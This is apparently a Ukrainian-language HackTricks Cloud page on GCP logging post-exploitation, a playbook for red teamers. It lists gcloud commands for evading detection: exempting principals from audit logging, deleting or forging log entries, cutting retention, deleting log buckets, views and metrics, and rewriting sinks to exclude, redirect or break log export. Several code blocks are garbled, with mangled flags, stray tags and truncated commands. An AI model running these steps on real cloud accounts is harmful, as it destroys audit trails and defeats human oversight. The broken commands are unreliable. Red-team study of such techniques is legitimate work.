GCP - Logging Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Для отримання додаткової інформації див.:
Для інших способів порушення моніторингу перегляньте:
GCP - Monitoring Post Exploitation
Default Logging
За замовчуванням вас не зафіксують лише за виконання операцій читання. Для додаткової інформації див. секцію Logging Enum.
Add Excepted Principal
У https://console.cloud.google.com/iam-admin/audit/allservices та https://console.cloud.google.com/iam-admin/audit можна додати принципалів, для яких не генеруються логи. Зловмисник може зловживати цим, щоб уникнути виявлення.
Читання логів - logging.logEntries.list
Перегляд записів логів
```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=jsonEverything from a timestamp
gcloud logging read “timestamp >= "2023-01-01T00:00:00Z"” –limit=10 –format=json
Use these options to indicate a different bucket or view to use: –bucket=_Required –view=_Default
</details>
### `logging.logs.delete`
<details>
<summary>Видалити записи журналу</summary>
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
Запис логів - logging.logEntries.create
Додати запис журналу
```bash # Write a log entry to try to disrupt some system gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR ```logging.buckets.update
Оновити період зберігання журналів у bucket
```bash # Set retention period to 1 day (_Required has a fixed one of 400days)gcloud logging buckets update bucketlog –location=
</details>
### `logging.buckets.delete`
<details>
<summary>Видалити bucket логів</summary>
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>
logging.links.delete
Видалити log link
```bash # Delete link gcloud logging links deletelogging.views.delete
Видалити logging view
```bash # Delete a logging view to remove access to anyone using it gcloud logging views deletelogging.views.update
Оновити logging view, щоб приховати дані
```bash # Update a logging view to hide data gcloud logging views updatelogging.logMetrics.update
Оновити метрики на основі логів
```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics updatelogging.logMetrics.delete
Видалити метрики на основі логів
```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics deletelogging.sinks.delete
Видалити log sink
```bash # Delete sink - logging.sinks.delete gcloud logging sinks deletelogging.sinks.update
Оновити/порушити log sink
```bash # Disable sink - logging.sinks.update gcloud logging sinks updateCreatea filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME –add-exclusion=“name=exclude-info-logs,filter=severity<INFO”
Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update
Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME –custom-writer-identity=attacker-service-account-email –project=PROJECT_ID
Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME –clear-exclusions
If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME –use-partitioned-tables gcloud logging sinks update SINK_NAME –no-use-partitioned-tables
</details>
> [!TIP]
> Вивчайте та практикуйте AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Вивчайте та практикуйте GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Вивчайте та практикуйте Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Підтримка HackTricks</summary>
>
> - Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
> - **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
>
> </details>
HackTricks Cloud

